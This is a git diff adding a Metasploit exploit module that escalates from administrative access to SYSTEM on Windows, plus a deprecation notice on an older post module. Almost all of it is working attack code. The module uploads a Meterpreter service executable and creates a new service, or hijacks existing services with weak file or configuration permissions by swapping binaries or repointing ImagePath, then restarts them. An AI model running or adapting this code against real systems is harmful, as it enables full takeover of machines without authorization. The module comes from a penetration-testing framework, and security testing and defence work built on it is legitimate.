diff --git a/modules/exploits/windows/local/service_permissions.rb b/modules/exploits/windows/local/service_permissions.rb new file mode 100644 index 0000000000..125b029767 --- /dev/null +++ b/modules/exploits/windows/local/service_permissions.rb @@ -0,0 +1,203 @@ +## +# $Id: service_permissions.rb 15394 2012-06-06 05:53:06Z rapid7 $ +## + +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/windows/services' +require 'rex' + +class Metasploit3 < Msf::Exploit::Local + Rank = GreatRanking + + include Msf::Post::Windows::WindowsServices + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Windows Escalate Service Permissions Local Privilege Escalation', + 'Description' => %q{ + This module attempts to exploit existing administrative privileges to obtain + a SYSTEM session. If directly creating a service fails, this module will inspect + existing services to look for insecure file or configuration permissions that may + be hijacked. It will then attempt to restart the replaced service to run the + payload. This will result in a new session when this succeeds. If the module is + able to modify the service but does not have permission to start and stop the + affected service, the attacker must wait for the system to restart before a + session will be created. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'scriptjunkie' ], + 'Version' => '$Revision: 15394 $', + 'Arch' => [ ARCH_X86 ], + 'Platform' => [ 'windows' ], + 'SessionTypes' => [ 'meterpreter' ], + 'DefaultOptions' => + { + 'EXITFUNC' => 'thread', + 'WfsDelay' => '5' + }, + 'Targets' => + [ + [ 'Automatic', { } ], + ], + 'DefaultTarget' => 0 + )) + + register_options([ + OptBool.new("AGGRESSIVE", [ false, "Exploit as many services as possible (dangerous)", false ]) + ]) + + end + + def exploit + # randomize the filename + filename= Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + + # randomize the exe name + tempexe_name = Rex::Text.rand_text_alpha((rand(8)+6)) + ".exe" + + raw = payload.encoded + + exe = Msf::Util::EXE.to_win32pe_service(session.framework, raw) + + sysdir = session.fs.file.expand_path("%SystemRoot%") + tmpdir = session.fs.file.expand_path("%TEMP%") + + print_status("Meterpreter stager executable #{exe.length} bytes long being uploaded..") + begin + # + # Upload the payload to the filesystem + # + tempexe = tmpdir + "\\" + tempexe_name + fd = session.fs.file.new(tempexe, "wb") + fd.write(exe) + fd.close + rescue ::Exception => e + print_error("Error uploading file #{filename}: #{e.class} #{e}") + return + end + + #attempt to make new service + + #SERVICE_NO_CHANGE 0xffffffff for DWORDS or NULL for pointer values leaves the current config + + print_status("Trying to add a new service...") + adv = session.railgun.advapi32 + manag = adv.OpenSCManagerA(nil,nil,0x10013) + if(manag["return"] != 0) + # SC_MANAGER_CREATE_SERVICE = 0x0002 + # SERVICE_START=0x0010 SERVICE_WIN32_OWN_PROCESS= 0X00000010 + # SERVICE_AUTO_START = 2 SERVICE_ERROR_IGNORE = 0 + newservice = adv.CreateServiceA(manag["return"],Rex::Text.rand_text_alpha((rand(8)+6)), + "",0x0010,0X00000010,2,0,tempexe,nil,nil,nil,nil,nil) + if(newservice["return"] != 0) + print_status("Created service... #{newservice["return"]}") + ret = adv.StartServiceA(newservice["return"], 0, nil) + print_status("Service should be started! Enjoy your new SYSTEM meterpreter session.") + adv.DeleteService(newservice["return"]) + adv.CloseServiceHandle(newservice["return"]) + if datastore['AGGRESSIVE'] != true + adv.CloseServiceHandle(manag["return"]) + return + end + else + print_error("Uhoh. service creation failed, but we should have the permissions. :-(") + end + else + print_status("No privs to create a service...") + manag = adv.OpenSCManagerA(nil,nil,1) + if(manag["return"] == 0) + print_status("Cannot open sc manager. You must have no privs at all. Ridiculous.") + end + end + print_status("Trying to find weak permissions in existing services..") + #Search through list of services to find weak permissions, whether file or config + serviceskey = "HKLM\\SYSTEM\\CurrentControlSet\\Services" + #for each service + service_list.each do |serv| + begin + srvtype = registry_getvaldata("#{serviceskey}\\#{serv}","Type").to_s + if srvtype != "16" + continue + end + moved = false + configed = false + #default path, but there should be an ImagePath registry key + source = session.fs.file.expand_path("%SYSTEMROOT%\\system32\\#{serv}.exe") + #get path to exe; parse out quotes and arguments + sourceorig = registry_getvaldata("#{serviceskey}\\#{serv}","ImagePath").to_s + sourcemaybe = session.fs.file.expand_path(sourceorig) + if( sourcemaybe[0] == '"' ) + sourcemaybe = sourcemaybe.split('"')[1] + else + sourcemaybe = sourcemaybe.split(' ')[0] + end + begin + session.fs.file.stat(sourcemaybe) #check if it really exists + source = sourcemaybe + rescue + print_status("Cannot reliably determine path for #{serv} executable. Trying #{source}") + end + #try to exploit weak file permissions + if(source != tempexe && session.railgun.kernel32.MoveFileA(source, source+'.bak')["return"]) + session.railgun.kernel32.CopyFileA(tempexe, source, false) + print_status("#{serv} has weak file permissions - #{source} moved to #{source+'.bak'} and replaced.") + moved = true + end + #try to exploit weak config permissions + #open with SERVICE_CHANGE_CONFIG (0x0002) + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + if(servhandleret["return"] != 0) + #SERVICE_NO_CHANGE is 0xFFFFFFFF + if(adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, + 0xFFFFFFFF,0xFFFFFFFF,tempexe,nil,nil,nil,nil,nil,nil)) + print_status("#{serv} has weak configuration permissions - reconfigured to use exe #{tempexe}.") + configed = true + end + adv.CloseServiceHandle(servhandleret["return"]) + + end + if(moved != true && configed != true) + print_status("No exploitable weak permissions found on #{serv}") + continue + end + print_status("Restarting #{serv}") + #open with SERVICE_START (0x0010) and SERVICE_STOP (0x0020) + servhandleret = adv.OpenServiceA(manag["return"],serv,0x30) + if(servhandleret["return"] != 0) + #SERVICE_CONTROL_STOP = 0x00000001 + if(adv.ControlService(servhandleret["return"],1,56)) + session.railgun.kernel32.Sleep(1000) + adv.StartServiceA(servhandleret["return"],0,nil) + print_status("#{serv} restarted. You should get a system meterpreter soon. Enjoy.") + #Cleanup + if moved == true + session.railgun.kernel32.MoveFileExA(source+'.bak', source, 1) + end + if configed == true + servhandleret = adv.OpenServiceA(manag["return"],serv,2) + adv.ChangeServiceConfigA(servhandleret["return"],0xFFFFFFFF, + 0xFFFFFFFF,0xFFFFFFFF,sourceorig,nil,nil,nil,nil,nil,nil) + adv.CloseServiceHandle(servhandleret["return"]) + end + else + print_status("Could not restart #{serv}. Wait for a reboot or force one yourself.") + end + adv.CloseServiceHandle(servhandleret["return"]) + if datastore['AGGRESSIVE'] != true + return + end + else + print_status("Could not restart #{serv}. Wait for a reboot. (or force one yourself)") + end + rescue + end + end + end +end diff --git a/modules/post/windows/escalate/service_permissions.rb b/modules/post/windows/escalate/service_permissions.rb index 1be42c6d97..46888a79e7 100644 --- a/modules/post/windows/escalate/service_permissions.rb +++ b/modules/post/windows/escalate/service_permissions.rb @@ -46,6 +46,12 @@ class Metasploit3 < Msf::Post end def run + print_error("*********************************************************") + print_error("* *") + print_error("* Module will be depricated on Jan 10 2013 *") + print_error("* Please use exploits/windows/local/service_permissions *") + print_error("* *") + print_error("*********************************************************") print_status("running") lhost = datastore["LHOST"] || Rex::Socket.source_address